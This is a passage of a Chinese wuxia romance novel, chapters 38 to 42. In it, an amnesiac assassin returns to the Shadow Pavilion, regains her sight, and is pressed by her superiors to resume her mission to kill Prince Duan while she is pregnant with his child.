叶修锦迟疑地抬起头,看了眼被放在地上的魏沛鸾,试探着问:“那九妹……也带去副阁主处吗?”
阁主沉默片刻,最终缓缓点头,随即转身离去。
叶修锦起身,转头去看一旁的影三。只见影三面无表情,已将魏沛鸾一把扛起,大步往副阁主的住所走去。
叶修锦连忙跟上,表脸色却不太好看。
这影阁之中,谁都知道副阁主柳文星极其看重影九,这是极致的偏爱,就算是阁主,也无可奈何。
副阁主柳文星不仅会教影九不外传的绝世功法,哪怕是有好吃的好玩的,也会第一个给到影九。
这一份毫不遮掩的感情,影阁内的众人心知肚明。
可就在几个月前,影九决定去往北苍城刺杀李京熠时,副阁主与阁主大吵一架。是因何缘由,旁人不得而知。
但仔细想想,多少是与影九刺杀的任务有关。
叶修锦来到副阁主的住所前,她先是让人进去通禀,待得到里头人的准许,他们这才踏入枕石居。
副阁主并非是个喜欢打打杀杀之人,平日里爱看书、种花,与人交谈时,脸上总是挂着和蔼可亲的笑。久而久之,这便给人一种错觉,误以为他是个好相处的人。
实则不然。
一旦他动怒,那便是狂风海啸。
柳文星一身素色长袍,衬得他整个人身形修长如竹。他手中那一把素白折扇并未展开,只随意握在指间。
待他看清影三背上的魏沛鸾时,眸色一沉,疾步走过来。
柳文星的目光在她身上仔仔细细地扫过,从苍白如纸的面容到紧闭的双眸,最后定在她毫无血色的唇瓣上,厉声问道:“为何昏睡着?”
被吓得浑身紧绷的叶修锦立刻抱拳躬身,回答道:“禀副阁主,属下为九妹治疗眼疾,服下药丸后,她因此昏睡,两日后便可苏醒。”
闻言,柳文星冷着脸,修长的手指微微一抬,示意影三将魏沛鸾放下。
影三将她轻轻放到太师椅上,随后恭敬地退至一旁。
柳文星站在她面前,担忧的视线在她身上流连忘返,惋惜地摇头道:“竟是这样一副模样回到我影阁之中……”
“副阁主。”叶修锦抬头,眼中闪过一丝狠厉,“端王还在神仙谷,若他发现九妹凭空消失,定会联想到是我们影阁所为。为何不让我直接杀了端王呢?让他死在那无人之地,岂不正好?”
柳文星负手而立,目光幽深似潭,沉吟片刻才幽幽道:“这是那位的意思,不可无端揣测。”
叶修锦心中了然,不再发问。
柳文星见魏沛鸾的气息实在太过微弱,于是在她身旁坐下,为她搭脉。不过片刻,他的指尖猛地一颤,突然松开,脸上浮现一抹不可思议的惊愕之色。
他难以置信地审视着椅子上的人,随后转过头,死死地盯着叶修锦,问:“她有了身孕?”
“是。”叶修锦如实答道。
“阁主可知此事?”
“阁主有令,有关九妹一应事务,皆向您禀明。”
柳文星闻言,将目光重新投回到魏沛鸾身上,眼底那一抹若有若无的伤感立刻化作寒冰,“是端王的?”
察觉到副阁主的神色不对,叶修锦犹豫再三,还是如实答道:“是。”
“不能留。”柳文星的声音冰冷。
“属下明白。九妹身子虚弱,要想保住这个孩子……本就十分困难。”可也不是全然毫无把握,只要精心调养,还是有机会生下这个孩子的。
但叶修锦知道副阁主想听到的答案是什么,所以她心里的这些话,不能说。
“带她下去。”柳文星眉头紧锁,目光死死锁在那张毫无血色的脸上。片刻后,终于不耐地挥了挥手。
影三闻言,立刻上前,小心翼翼地将魏沛鸾打横抱起。
就在叶修锦转身欲退下时,身后却冷不丁传来柳文星的声音:“影六,这几日你好生照顾她。若是她醒了,立刻来报。”
叶修锦身形微顿,随即抱拳,“是,属下告退!”
魏沛鸾被叶修锦带回到
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她从前的住所休养,她一直昏睡着,像是毫无知觉,一动不动,任由叶修锦替她擦脸。
叶修锦的手指在触碰到那冰凉的肌肤时,微微一顿。
她常年在神仙谷潜心学医,回到影阁的时间很少。所以床上的女子于她而言,并没有那么熟悉。
真正让她牵肠挂肚的,其实是被关在端王府的芙蕖影七。
但她却没有办法,也没有能力去救。
北苍城里十分危险,而端王府更是龙潭虎穴。
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夕阳的余晖洒在窗棂上,在这光影变幻间,已昏睡两日的魏沛鸾终于缓缓睁开眼。
她先是不可思议地眨了眨眼,仿佛不敢相信自己眼前不再是黑暗。
过了好半晌,她才终于确定了一件事。
她能看见了!
她顿时狂喜不已,几乎是立刻将自身所处的环境扫视了一圈。可重见光明的喜悦还来不及窜入大脑,她便被这陌生的环境冲散了脸上的笑容。
这里不是寒冰洞,更不是端王府。
入目是质朴的木屋陈设,透着一种与世隔绝的宁静。
那这是哪儿?
是叶神医的木屋?
带着这样的疑问,她掀开被子下床,穿上鞋袜之后,她犹豫地走到门后。
万一打开门,看到的是李京熠怎么办?
叶神医说已将李京熠迷晕,那么既然她已经醒来,不知道李京熠是否已然苏醒?
这个念头不禁让她心生寒意,她深呼吸一口气,犹豫地打开门。
门外没有李京熠,并且,映入眼帘的景象十分陌生。
她发现自己身处一座小小的院落之中,这院落依旧极其陌生。
她大步走出卧房,站在院子里左右张望,确定这个地方一定不是神仙谷。
在谷中数日,她已熟悉各处环境,谷中定然是没有这样的院落。况且,此刻的她恐怕早已不在神仙谷,而是在一高处。
放眼望去,周围不见连绵不绝的高山,也不见任何高大的树木,唯有天边那一抹夕阳的余晖洒在她脸上。
这里到底是什么地方?
带着这样的疑问,她迈着虚弱的步伐往前走。然而,还未等她走出院落,便远远地瞧见一位陌生的女子朝她走来。
魏沛鸾下意识后退半步,待看清她脸上微微的笑意,才反应过来对方并无恶意。
“你醒了!”
对方的声音一钻入耳中,魏沛鸾便知道她是谁了,惊讶不已地问道:“你是叶神医?”
叶修锦早已料到她此刻会醒,脚步匆匆地赶回来。见她双目清亮,欣喜道:“是我。你能看见了?感觉哪儿不舒服吗?”
魏沛鸾缓缓摇头,视线还有些涣散,茫然地环视四周。这一切让她感到十分陌生,疑惑不已地问道:“这是哪儿?我怎会在此?”
闻言,叶修锦脸上的笑意瞬间凝固。她深吸一口气,大步上前,紧紧握住她冰凉的双手,语气郑重且严肃:“我说的话,或许一时间会让你难以接受。但你本就该这样,你只是回到了你从前的生活。”
39. 第39章
此话一出,魏沛鸾的神色顿时僵住。
她猛地抽回手,像是被烫到了一般,再次将四周陌生的环境扫视一圈,眼神里透着疑惑与不安。她的嘴唇微微颤抖,苍白得几乎没有血色,声音细若游丝:“这里……是影阁?你……也是影阁的人?”
叶修锦沉默片刻,终于还是点了点头,目光复杂,“从前的许多事情,你都忘记了。但你在这儿长大,生活了很多年,这儿有许多你的家人。你回到这里,才算是回到了家。”
这个消息如惊雷般在魏沛鸾的脑海中炸开,一时间让她难以接受。她不知道自己是该开心,还是该感到一种莫名的恐慌。
思索好半晌,她才终于问出一句:“李京熠呢?”
“端王已经知道你回到影阁的消息。”
已过了两日,李京熠不是蠢人。
当日他来到神仙谷,兴许只是慌张地一时间晕头转向,等到发现魏沛鸾消失,反应过来之后,会发现神仙谷离着影阁其实很近,近到他立马就可以猜到是影阁的人带回了魏沛鸾。
“那我……”她无措地张了张口,不知道自己还能问些什么。
问李京熠会不会来救她?
可就像叶神医所言,这里才是她的家,端王府只不过是她执行任务的地点而已。
“既然你醒了,我带你去见副阁主。”话音落下,叶修锦转身往枕石居的方向去。
魏沛鸾默不作声地跟在她身后,脚步有些虚浮。
刚踏入枕石居里,一阵清幽的竹香扑鼻而来。墙角栽种着一丛翠绿的竹子,青翠欲滴。假山层峦叠嶂,溪流蜿蜒曲折,各色花草点缀其中,恰到好处。
这处院子被打理得十分雅致,且井井有条,透着一股主人精心呵护的韵味。
想来,这副阁主应该是个好相处的人。
这个念头一冒出来,魏沛鸾便自嘲地笑了笑。影阁曾是她最熟悉的地方,为何还要靠猜测呢?
她与叶修锦在门外稍候,得到应允后,方才进去。
进去后,魏沛鸾一眼便看见坐在太师椅上的那个男人。
他面容俊朗,低垂着眼眸,身着一袭素色长袍,墨色长发仅用一根木簪随意绾着,慵懒中透着几分不羁。
听见脚步声,柳文星缓缓抬眼,那双眸子似乎完全看不见外人,直直地落在魏沛鸾身上。
然而,他的眼神很温柔,完全没有丝毫杀气,甚至,他的嘴角勾起了一抹温柔的笑意。
寻常人不知道的,还以为是谁家温文尔雅的公子呢。
可如今身处影阁,谁的手上没有沾染过鲜血?
“副阁主。”叶修锦抱拳行礼,态度恭敬。
魏沛鸾见状,学着身旁叶修锦的动作行礼,也叫了一声:“副阁主。”
“你终于醒了。”柳文星缓缓起身,抬脚过来,平静的嗓音里,压抑着一丝隐隐的激动,“还好吗?”
对于现在的魏沛鸾而言,面前的男人无异于初次见面的陌生人。初次见面便对她表现出这样深切的关心,甚至带着一丝久别重逢的欣喜,让她很不习惯。
她下意识皱眉,身体微微后倾,下意识想要拉开距离。
这样的动作自然是难逃柳文星的法眼,他指尖微抬,朝着叶修锦的方向轻轻一挥,示意她退下。
叶修锦领命,立刻退下。
霎时间,厅堂内便只剩下他们二人。
空气仿佛凝固,只剩烛火在风中无声地摇曳。
魏沛鸾警惕地看向他,双手不自觉攥紧。
“小九。”柳文星的声音打破这一份死寂,带着一丝不容置疑的穿透力,“你不必这样看着我。”
小九?
魏沛鸾心头猛地一跳。
这个久违的称呼,从他口中说出竟如此自然。
真是奇怪。
“从前的事,你都不记得?”柳文星向前迈了一步,他的语气温柔得近乎宠溺,似乎并没有恶意。
魏沛鸾犹豫着摇头,“都不记得了。”
闻言,柳文星轻叹了一口气,像是无奈,又像是伤感,随后眼底的那一抹悲伤转瞬即逝,“记不起来也无碍,你只要知道,这儿才是你的家,才是你可以无忧无虑生活的地方。”
无忧无虑?
魏沛鸾记不起面前的人从前是如何对待自己的,但看他对自己的态度,似乎这是一个很好的人。
犹豫再三,还是问出了一个她一直想知道的问题,“是谁要杀李京熠?”
柳文星手中的折扇猛然合拢,发出一声清脆的声响,在寂静的夜里显得格外刺耳。他眸光一沉,原本温润的气质瞬间消散,取而代之的是一种令人窒息的压迫感,沉声道:“此事不可妄议。”
如此说来,想必她的猜测是对的。
魏沛鸾心中了然,一股寒意从脚底升起。她无奈点头,不再追问,“我的任务还要继续吗?”
“不急,我会与阁主商议,再做决定。”柳文星并不打算让她再回到北苍城去,只要他说服阁主就好。
除她之外,影阁完全可以派出其他杀手去完成这个任务,毕竟如今的影九与废人无异,她要如何再去完成任务?
“李京熠必须死吗?”
这是第二次从她的口中听到李京熠这个名字,她似乎很在意他。柳文星眯起狭长的眸子,仔细地打量她,“小九莫不是……对端王动了情?”
此话一出,魏沛鸾的心里“咯噔”一声,当即否定道:“没有。”
“既然没有,那你为何两句不离端王?”柳文星步步紧逼,高大的身影瞬间笼罩下来,带着一袭压迫的气势,将她逼进死角。
空气仿佛凝固,她攥紧拳头,手心里不自觉出了一层薄汗。
她从未想过这个问题的答案。
可分明这个答案显而易见,为何回答不出?
她恨他,这是不容置疑的事情。
“小九。”柳文星用折扇轻轻挑起她的下巴,强迫她抬起头让她直视自己那双深不见底的眼睛,唇边勾起一抹笑意,幽幽道:“我知道你怀了端王的孩子,而我们也可以利用这个孩子,去做到我们想做的事。”
利用这个孩子?
他是何意?
是想用这个孩子作为筹码去要挟他?
想到那一日,李京熠得知她有身孕时,是那样开心。倘若这个孩子消失,确实可以给到他致命一击。
可若是如此,李京熠会不会认为这是她计划的一部分?
就算他真的会这么想,魏沛鸾也毫无办法。
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难道他们之间的关系,还有回旋的余地?
“难道你想保住这个孩子?”柳文星看出她的犹豫不决,猜到她的心思,语气骤然变冷,“你的确对端王动了情?”
“没有。”
不知为何,这简短的两个字从嘴里说出来,居然带着细微的颤抖。那一丝颤抖里,有自我怀疑,有心虚。
柳文星收回折扇,眼底的温柔覆上一层冰凉,“小九,你最好不要骗我。若是被阁主知晓此事,你会死无葬身之地。”
这句话如同一根淬了毒的银针,精准地刺入她心底最柔软的地方。魏沛鸾只觉得一股寒意从脚底直窜头顶,她死死咬住下唇,内心挣扎良久,才像是下定了决心,垂首低答道:“属下不敢欺瞒副阁主。”
屋内的空气仿佛在这一瞬间彻底凝滞。
窗外的夕阳的余晖已渐渐沉下去,不再有一丝太阳的光亮。屋里暗下来,唯余蜡烛的光亮还在跳动,拉长了两个人对峙的影子。
过了好一会儿,她才听见柳文星幽幽开口,语气听不出喜怒,“如此甚好。”
“那么属下……会有其他的任务吗?”
“不急。”柳文星转过身去,宽大的衣袖带起一阵冷风,在太师椅上坐下,姿态慵懒随意,“你且安心休养,近些时日,最好不要下山去。”
不能下山?
难不成,她要被关在这影阁?
思来想去,她想不起从前的自己在这里是如何生活的。这里的一切非常陌生,无论是人还是物,都透着一股肃穆的庄严与威慑。
自她从神仙谷消失后,已有两日。
这两日里,李京熠会发了疯的找她吗?会知道她已经回到影阁了吗?
无数的疑问在脑海中盘旋,却无人给她答案。
“小九,为何总是出神?”柳文星的声音里带着审视,目光如刀锋般在她脸上游移,“如今你除了这张脸,其他的一切都变了。”
以前的影九站在他面前,虽恭敬,却不会这般拘谨卑微,更不会出神去想另一个男人。
早知她去北苍城一趟会发生这么大的变故,当初说什么都要拦下她。
“副阁主,属下有一事不明。”魏沛鸾压下心底的慌乱,硬着头皮问。
“说。”
“玄阳丹……是出自影阁吗?”
“是。”柳文星没有丝毫避讳,坦然承认。
“你们……”魏沛鸾瞳孔微缩,声音陡然拔高,带着一丝颤抖与愤怒,“一开始的目的,是想要我死?”
“并非如此。”柳文星缓缓摇摇头,眸底闪过一丝精光,“你中了玄阳丹,唯一可以解毒的地方便是神仙谷。端王不会让你死,他一定会带你去神仙谷求药。如此一来,便有机会将你带回影阁。”
这么好的计策,却也这么简单。
李京熠当真没有识破吗?
盘踞在心底的疑问太多,她一时间不知该如何开口。
眼前这个人,她可以全心信任吗?
什么事情都记不起来,使她做事说话不得不瞻前顾后、斟酌再三。
“罢了,你早些回去歇息吧。”柳文星看出她的疲惫,轻轻摆手,“明日再去见阁主便是。”
“是。”魏沛鸾匆匆行了一礼,转身离去。
40. 第40章
如今,魏沛鸾回到影阁,心中却无半分欢喜。
曾经一度想要逃离李京熠身边,想要急切地回到曾经熟悉的地方,眼下终于回来了,却总觉得这里是另一处牢笼。
她曾是杀手,可如今的她估计连拿起一把刀都费劲,如今再去执行那危险重重的任务?
影阁当真会留下她这么一个废人吗?
魏沛鸾怀揣着满腹心事,步履匆匆地从枕石居出来。刚转过回廊,便发现叶修锦在外等待,于是疾步走过去。
“叶神医。”魏沛鸾唤道。
叶修锦冲她笑笑,纠正道:“在影阁之中,我名为影六。”
“影六?”魏沛鸾微微皱眉,想到自己的名字是影九,便心中了然,点头道:“那我唤你六姐?”
“好啊。”叶修锦笑得眉眼弯弯,抬脚往她们方才来时的院子里去,“其实我比你小几个月,只不过我比你入阁的时间早,你叫我一声‘姐’,倒是也不吃亏。”
听她这么一番解释,影九点点头,心里稍微放松了一些。
如今在这充满杀气与威慑的影阁之中,叶修锦是唯一一个能让她感到些许暖意的人。既是同门,又是此刻唯一的依靠,魏沛鸾便不再犹豫,将心底最深的忧虑和盘托出。
“六姐,我想知道,芙蕖……还有救出来的可能吗?”
她骤然失踪,不知李京熠会如此处置芙蕖。
无论如何,芙蕖都是影阁中人,不能弃她不顾。
“此事你无需担心,阁主会有办法的。”叶修锦放缓了脚步,侧目看向她,注意到她紧锁的眉头,便又多解释了几句:“芙蕖名为影七,她比我晚入阁几天,比我年长五岁,她性子温婉安静,比起打打杀杀的任务,她更适合潜藏身份,搜集情报。她之所以被派去北苍城,本意是为了接应你。”
其实魏沛鸾大概能猜到,芙蕖是去确认她身份的。
她失了忆,哪怕见到芙蕖,也无法认出她是影阁的人。若是早些与芙蕖相认,早日跟随她回到影阁,或许就不会置芙蕖于险境,更不会发生后来那么多的事情。
“我与你说这些,并非让你感到自责,我只想让你明白一个道理,身为影阁中人,无论后果如何,任务一旦开始,便不能撤退。”叶修锦字字如针,刺破了魏沛鸾心中的软弱。
说完,她转身走回院落中的一处偏房。环视屋内一圈后,她回头对魏沛鸾说道:“这儿是芙蕖的房间,我与她曾一起在这儿住了好长的日子。”
魏沛鸾跟随她进去屋子里,环视四周一圈。这间屋子里的陈设布置与她的屋子差不太多,唯一的区别,可能就是桌子上还未绣完的那几方手帕。
“她很擅长女红。”叶修锦拿起一方未绣完的帕子,针脚细密,绣的是一朵含苞待放的芙蕖,栩栩如生,“她刺绣的手艺很好,武功却不怎么样。”
魏沛鸾的手指轻轻抚过那些柔软的布料,指尖却不受控制地微微发抖。
她将芙蕖视为好友,却不想因她的失忆与迟疑害得她沦落到如今的地步。如今,她孤身一人回到了影阁,却把芙蕖扔在那暗无天日冰冷的水牢之中。
她狠狠咬了咬牙,却再也说不出一定会救出芙蕖的那些话,想要救出芙蕖的想法也不似从前坚定。
若是留在王府,她或许能有救出芙蕖的一线机会,如今她回到影阁,何时能下山去都还不确定,如何去谈论救出芙蕖呢?
“此前……影阁是否还派过其他人去打探我的消息?”
“派去过不少。”叶修锦平静地点头,“但都无功而返,大多折在了端王手里。在你回到北苍城之前,影阁连一丁点儿你的消息都无法查探到。”
魏沛鸾垂下眼帘,声音微颤:“当时我被李京熠关在北苍城外的一处院子里,接触不到任何外人……”说到这里,她刻意停顿了一下,“我出去过一次,见到过一个被折磨得不成人样的人。现在想来,那应该也是影阁派出的人。”
那个被割掉舌头的男子,当时一定是认出了她,所以才想拉扯她的裙摆与她说些什么。但当时的魏沛鸾没明白,要是早些醒悟过来,这之后的一切都不会发生。
见她越说越伤感,神色愈发暗淡,叶修锦轻轻拍了拍她的肩,语气温和了几分,“好了,时辰不早了,你也该饿了。我带你用膳。”说完,叶修锦转身往外走。
跟随叶修锦一路走着,魏沛鸾借着清冷的月色打量四处,这儿的装潢不似王府那般雍容华贵,处处透着一股浓重的杀伐气。暗沉的色调占据主导,看着让人感觉十分沉重。
这一份沉重像是压在她的心上,重得让人喘不上来气。
叶修锦带她走到膳堂,告诉她这里就是平日里用膳的地方,并向她仔细交代用膳的时辰。魏沛鸾迷迷糊糊地听着,脑袋里晕乎乎的。
不是因为饥饿,而是心身俱疲。
她在凳子上坐下,看着被摆放在面前的食物,依然没什么胃口。
“就算你不吃,你肚子里的孩子也要吃。你的身子本就虚弱,若是连饭都不吃,你熬不住的。”
闻言,魏沛鸾抬眸看向她,“我还不知道……我要不要留下这个孩子。阁主会让我留下这个孩子吗?”
身为医者,叶修锦不愿对病人有所隐瞒。可身为影阁中人,叶修锦更不愿看着同门受苦受累,于是如实回答道:“我不愿骗你,但我要说的话,不会太好听。”
魏沛鸾点头,“六姐,你说吧。”
“这个孩子要想保住,很难。”叶修锦眉头紧锁,神情格外凝重,“你此前中了好几味毒药,身子耗损十分严重。现如今你有了身孕,更是雪上加霜。先不说你的命数还有几年,若是你执意生下这个孩子,你必定会因此丧命。”
“所以,只能让这个孩子消失?”
“是。”
这不正好如愿了吗?为何她不因此感到开心呢?
魏沛鸾的眼眶忍不住发酸,她吸了吸鼻子,连同鼻尖那一颗小痣也在跟随她的动作委屈地颤动。
夜晚,山上吹来的风很凉,凉得她连眨眼间都感觉眼睛是冰凉的。
终于回到从前的生活,终于甩掉那一个疯子,自己为何还不开心呢?
-
次日,晨曦微露,叶修锦便带着魏沛鸾去面见阁主。
推开沉重的大门,一股与外界截然不同的
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森冷气息扑面而来。
阁主端坐于高台之上,与副阁主完全不一样,她非但不和蔼可亲,甚至仅仅是那一双眼睛让人一看,都吓得人不寒而栗。
浓浓的杀气弥漫四周,将魏沛鸾团团包围。
叶修锦已悄无声息退至门外,大厅内,只留下她与高高在上的阁主二人。
“身子感觉如何?”阁主的声音平静,听不出一丝波澜。
“多谢阁主关心,属下的身子已无大碍。”魏沛鸾低垂着眼眸,不敢直视那一道仿佛能洞察一切的目光。
面前这个女人的气势实在太过威严,压迫得她几乎喘不上来气。魏沛鸾只能尽量避免自己的回答不出错,回答得也尽量简短。
阁主并未急着言语,而是将她从头到脚仔细扫视一圈,那目光像是在审视一件残次的货物,冰冷而挑剔。
“以你如今这副景象,你认为你还可以为影阁做什么?”
这句话像是一把蓄势待发的弓箭,不等她反应过来,便猛地刺穿她脆弱的心脏。
她掐紧掌心,疼痛刺激她清醒,她张了张苍白的嘴唇,喉咙干涩,说不出一个字。
现在的她,于影阁而言,是弃子。
没有丝毫价值的弃子。
“属下……属下但凭阁主差遣。”她艰难地从口中挤出这几个字,声音沙哑得厉害。
“曾经的你,是影阁最出色的杀手,无论是多么艰难的任务,你都可以完成得很好。”说到这里,阁主冷冷地睨了她一眼,那眼神里,带着轻蔑与失望,“如今的你,甚至连院外洒扫的小丫头都打不过。我与副阁主苦心培养你多年,终究是功亏一篑了。”
阁主的话说得直白且残酷,但全都是无法辩驳的事实。
魏沛鸾不愿被沦为弃子,弃子的下场会如何?
影阁之中,弃子的下场,当然是一个“死”字。
“属下愿意接受任何惩处。”魏沛鸾声音沙哑,带着一丝细微的颤抖。
“惩处?”阁主轻笑一声,摆了摆手,语气里透着几分虚伪的忧愁与惋惜,“倒也不必。只是……你要想从头再来,你这副身子也是不行了。哪怕有再多灵丹妙药,你也无法恢复如初,更无法再成为影阁之中最出色的杀手。”
字字如冰锥,刺入骨髓。
魏沛鸾的心在狂跳,恐惧如潮水般涌来,将她死死包围,不留一丝喘息的空隙,似乎在等待死亡的降临。
奈何过了好半晌之后,阁主突然话锋一转,声音里带着一种令人毛骨悚然的玩味,“但你胜在有一副好皮囊,任何男人见了,都会为你倾倒。哪怕是端王,也不例外。”
此话何意?
难道,从一开始刺杀李京熠的目的就是为了用她做诱饵?阁主并不相信她真的能杀了李京熠?
不会的,一定是自己多想了。
“事情到如今地步,我倒是有些意外。但好在你为了任务,从来都是放手一搏,不达目的不罢休。”
她说的这些话,魏沛鸾根本来不及思考,也来不及做出任何反应。
难道,这个任务,自己是知情的?可没有恢复记忆的她,要从何处查证?
41. 第41章
“端王放不下你,你与他会再见面的,不着急。”阁主淡淡地瞥了她一眼,语气平静,“你也曾是我影阁之中最中用的人才,无论你今后身在何处,都是我影阁的人。”
这句话像是提醒,又像是警告。
警告她,哪怕是弃子,也是影阁的弃子,不会为他人所用。
魏沛鸾默默攥紧拳头,紧张到呼吸仿佛停滞了一般,猜不到阁主究竟是想让她做什么,猜不到她究竟有何打算。
她浑身紧绷,连腰背也不自然地绷直。
阁主轻笑一声,拍了拍她的肩,示意她放松,半开玩笑似的问道:“影九,你从前可不会这样。我这三言两语,就吓得你不敢动弹了?”
魏沛鸾尴尬地挤出一个笑容,尽管她想让自己看起来没有那么紧张,可这笑容却还是极其不自然,“属下许久未归,对影阁中一应规矩,有些生疏了。还望阁主见谅。”
“这等小事,我自然不予追究,但……”说到这里,阁主刻意停顿了一会儿,眸底闪过一丝狠厉,“但影阁因你折损的那些人命,该如何算呢?端王是个心狠手辣的人,但凡影阁中人落在他手里,可都没有一个是好下场。”
浓重的嗜血气息瞬间包围住她,她恐惧得几乎快要闭上双眼,脑袋里一片空白,甚至一度无法思考。
面前这个虎视眈眈的女人,像一头即将撕咬猎物的野兽。
一旦她寻得破绽,便会立刻张开血盆大口。
“可是……我也一样……没有好下场。”
“哈哈!”听到她的回答,阁主很是意外,突然笑出声来,“你这个回答,倒是很有趣。”
只是有趣罢了,能应付得了阁主吗?
魏沛鸾屏息凝神,沉默且煎熬地等待着阁主下一句要说的话。
她的目光像一条冰冷的蛇,顺着魏沛鸾的脊背慢慢攀爬,直至扼住咽喉,刺破肌肤,直抵心脏。
在魏沛鸾即将窒息的那一刻,她终于冷冷开口,声音里听不出半分波澜,“你做事从不会让我失望,我希望这一次也是。”
这句话像一记重锤,狠狠地砸在魏沛鸾的心口。
所以,她的刺杀任务还要继续?
李京熠,还是必须得死?
魏沛鸾攥紧拳头,好半天才缓过来一口气,喘匀了气之后,才勉强从喉咙里发出一个字,“好。”
真的能杀得了李京熠吗?
真的下得了手吗?
李京熠真的会甘愿被她杀死吗?
太多的疑问逐渐变成恐惧,逐渐一寸一寸地蚕食掉她身上的每一处肌肤,使得她逐渐呼吸急促,脸色煞白。
她的一举一动,自然躲不过阁主那双洞若观火的眼睛。但唯有她,可以接近那位深不可测的端王,也唯有她,有一线机会能够杀死李京熠。
这般天赐良机,阁主绝不容许出现任何岔子。
虽然影阁立于江湖,但这江湖属于朝廷,而朝廷归于天子。
那位的心思,谁敢揣度?
可这江湖之上,谁又不知天子的位子是端王让出来的?
可既然端王不愿坐上高位,如今那位坐稳了龙椅,自然是害怕受到这潜在的威胁,也自然是容不下端王。
就算端王死了,也怪不得任何人。
要怪,就怪他当初实在太愚蠢,不该让位。
“行了,你下去吧。”阁主漫不经心地摆摆手,“这些时日好好休息,你还有一场硬仗要打。”
“是,属下告退。”魏沛鸾抱拳行礼,躬身退下。
在转身的瞬间,魏沛鸾才觉得突然之间松了口气,绷紧的脊背终于微微松弛。
可一走出大厅,一股沉闷的气息便再次袭来,像一块厚厚的砖石,重重地压在她的胸口。
她深呼吸一口气,目光不由得投向远方。
望着高山间的云雾,她的视线在茫茫云海间延伸,像是要去寻找什么。可眼前云雾缭绕,究竟是想要寻找什么呢?
她与李京熠之间,本就是一个错误。
这一盘错误的棋局造就了如今的局面,将她推向无法回头的深渊。
爱过他,恨过他,现在却要亲手杀了他。
魏沛鸾缓缓垂下眼帘,目光落在自己那双惨白无力的手上。这双手曾轻抚过他的脸庞,也曾握过刀剑。
此刻,她却无法想象,这双手若是沾上李京熠的鲜血,会是怎样一副触目惊心的模样。
“小九。”
一道熟悉的呼唤声突兀地响起,打断了她杂乱的思绪。
她抬头看去,却见柳文星站在不远处,笑意温润。
那一瞬间,她眼底闪过一丝不易让人察觉的失望。
不是他。
她压下心底的异样,抬脚走过去,抱拳行礼,语气恭敬且疏离,“副阁主。”
“怎么一副心事重重的样子?”柳文星的视线掠过她苍白的脸,望向她来时的方向,笑着问道:“阁主与你说了什么?为何这么一副大难临头的模样?”
魏沛鸾垂下眸子,指尖微微蜷缩。在回答之前,她需仔细措辞一番。
柳文星待她极好,但那是对待以前的影九,不是现在的她。如今,柳文星对她还像从前一样,才真是让她措手不及。
“阁主……她让我好好休息。”措辞半晌,开口时却只从嘴里冒出这句苍白的话。魏沛鸾默默低下头,心里很是烦闷。
柳文星从前最了解她,但从前的她会掩饰自己的情绪,不会将愤怒或是难过,任何软弱的表情挂在脸上,而是死死地封存在面具之下。
可如今的魏沛鸾不同,失忆使她褪去了往日的伪装,她不懂掩饰,心事重重的她已将“大难临头”四个大字写在脸上,想让人看不出来都难。
“小九不妨与我说说,我或许可以帮你。”柳文星的声音依旧温柔。
闻言,魏沛鸾眉心微动,抬眸看向他。
他的神色很是真诚,可她无法相信他,失忆的她不知道自己该相信谁。毕竟,已经在李京熠身上吃过一次亏,眼前这位看似温润如玉的副阁主,她决定不再轻信。
见她执意隐瞒,柳文星眸光一闪,便也就不再追问。他慢条斯理地摇着手中的折扇,缓缓摇头道:“看来,小九并不
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信任我。”
“抱歉,副阁主。”魏沛鸾刻意与他拉开一些距离,恭敬道:“这是属下的任务,属下定会竭力所能,还请副阁主不必为属下担忧。”
话音刚落,柳文星手中的折扇便骤然停住。他几乎立刻猜到阁主与她说了什么,他温润的眉眼间瞬间笼罩上一层阴霾,眉头微蹙,眼底有一丝忧愁缓缓划过,“若是遇到完成不了的任务,那便保命要紧。”
“可若是无功而返,阁主岂会留我性命?”
方才在里头时,阁主言语犀利、冰冷,看她的样子,并非是想留着她这么一个废人一条命。
仅仅是因为李京熠喜欢她这一副皮囊而已,再加上肚子里这个孩子,所以李京熠不杀她。
但她却要因此去杀掉李京熠吗?
利用这一副皮囊,利用这一个未出世的孩子,去杀掉他?
想到这里,她默默攥紧了拳头,缓缓地吐出一口气。倘若自己不杀李京熠,她便活不成了。
即使是回到影阁,恐怕也难逃一死。
“只要你回到影阁,我便能护你周全。”柳文星的声音低沉而郑重,仿佛许下了一个不可轻易打破的诺言。
魏沛鸾轻轻摇头,眼底闪过一丝复杂的情绪,开口道:“多谢副阁主好意,但此事无论成败,我……”都不愿再回到这个深渊。
起初,她以为只要离开李京熠身边,离开北苍城就好了。可当她真的回到影阁,才发现这里到处蛰伏着夺命猛兽、致命陷阱,像是随时会取走她的性命。
头顶上悬的那一把利剑,仿佛随时会掉下来。
现如今,她才终于明白李京熠之前对她说的那一句话是何意。
离开他身边,果然处处是危险。
柳文星眼中的那一点担忧如潮水般缓缓褪去,取而代之的是一片深不见底的沉寂。过了好半晌,他才沉声道:“你心里有他,自然觉得这儿不再适合你。那你可知,他在做什么?”
这句话立刻引起魏沛鸾的好奇,她沉默地望向柳文星,期待从他的口中听到答案。
然而,柳文星只是深深地望了她一眼,随即撇开视线,“想必阁主也知道,但她并未告诉你?”
魏沛鸾下意识地摇头。
“他回了北苍城。”柳文星淡淡地抛出这句话,随即抬脚往前走,背影显得有些萧索,“他没有来救你。”
“那或许是因为……城中有更重要的事情等着他去做。”不知怎么的,魏沛鸾几乎立刻便为他找到了开脱的理由。
可这分明不关她的事,为何要替他开脱?
是因为不愿承认,其实自己于李京熠而言,并没有那么重要?
不会的,就算自己对李京熠没有那么重要,那么这个孩子呢?
魏沛鸾痛恨这样胡思乱想的自己,仅仅因为柳文星的三言两语就扰乱心神,不该这样。
“北苍城中,谁人不知端王为了照顾久病不愈的王妃而主动交出兵符?你猜,若是被人知晓他的王妃失踪而不去寻找,城中人会如何看他?”柳文星的声音十分平静,平静地像是在诉说一件无足轻重的事实。
42. 第42章
“他从不在意这些。”魏沛鸾的回答干脆利落,随后心头一颤,赶紧找补道:“我的意思是,他或许……或许不知我去往了何处。”
解释得越多,破绽反而越多。
魏沛鸾紧紧抿着毫无血色的嘴唇,心中懊恼不已。
柳文星在一处飞流直下的瀑布前停下脚步,轰隆隆的水声震耳欲聋,水雾弥漫在空气中,带着刺骨的寒意。
他望着那奔腾而下的水流,侧过头,目光中带着几分探究与不解,“我以为,他对你所做的那些事,会让你对他恨之入骨。没想到,你竟会反过来替他辩解。”
魏沛鸾掐紧掌心,自知说多错多。
或许是因为紧张,或许是因为不安,她一想到李京熠,便自乱了阵脚。
